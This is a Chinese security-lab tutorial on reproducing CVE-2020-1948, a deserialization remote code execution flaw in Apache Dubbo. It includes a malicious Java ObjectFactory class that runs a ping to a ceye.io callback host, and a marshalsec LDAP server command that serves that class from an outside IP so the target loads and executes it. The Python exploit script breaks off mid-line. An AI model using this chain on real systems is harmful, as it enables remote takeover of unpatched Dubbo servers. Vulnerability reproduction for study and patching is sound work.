您当前的位置: 首页 >  apache

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

Apache Dubbo反序列化漏洞

合天网安实验室 发布时间:2020-11-18 11:30:00 ,浏览量:0

 

简介

Dubbo是阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的RPC实现服务的输出和输入功能,可以和Spring框架无缝集成。它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。

 

本文涉及知识点实操练习——CVE-2020-1948 Apache dubbo远程命令执行漏洞:通过该实操了解漏洞产生的原因,掌握基本的漏洞利用及使用方法,并能给出加固方案。

 

概述

2020年06月23日, Apache Dubbo 官方发布了Apache Dubbo 远程代码执行的风险通告,该漏洞编号为CVE-2020-1948,漏洞等级:高危。

Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。

Apache Dubbo Provider存在反序列化漏洞,攻击者可以通过RPC请求发送无法识别的服务名称或方法名称以及一些恶意参数有效载荷,当恶意参数被反序列化时,可以造成远程代码执行。

影响版本

Dubbo 2.7.0 - 2.7.6
   Dubbo 2.6.0 - 2.6.7
   Dubbo 2.5.x (官方不再维护)

环境搭建

运行环境与编译exp环境jdk版本均为8u121,启动测试环境

java -jar dubbo.jar

启动后会监听12345端口

漏洞复现

服务指纹:

PORT      STATE SERVICE VERSION
12345/tcp open  textui  Alibaba Dubbo remoting telnetd

构造poc,我们这里执行一个ping命令来验证是否可以执行命令,新建calc.java,

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class calc implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
        Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
        return null;
    }
}

编译poc

javac calc.java

将编译好的poc(calc.class)放到web网站目录里,确保漏洞主机可以访问到

使用marshalsec项目启动一个ldap代理服务,marshalsec下载

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar

启动LDAP代理服务,执行该命令ldap服务会监听8086端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://139.9.198.30/#calc 8086

执行测试脚本,此处测试使用python环境为3.8.0,先安装依赖包

python3 -m pip install dubbo-py

脚本内容(Dubbo.py):

 # -*- coding: utf-8 -*-

import sys

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

if len(sys.argv)             
关注
打赏
1665306545
查看更多评论
0.0690s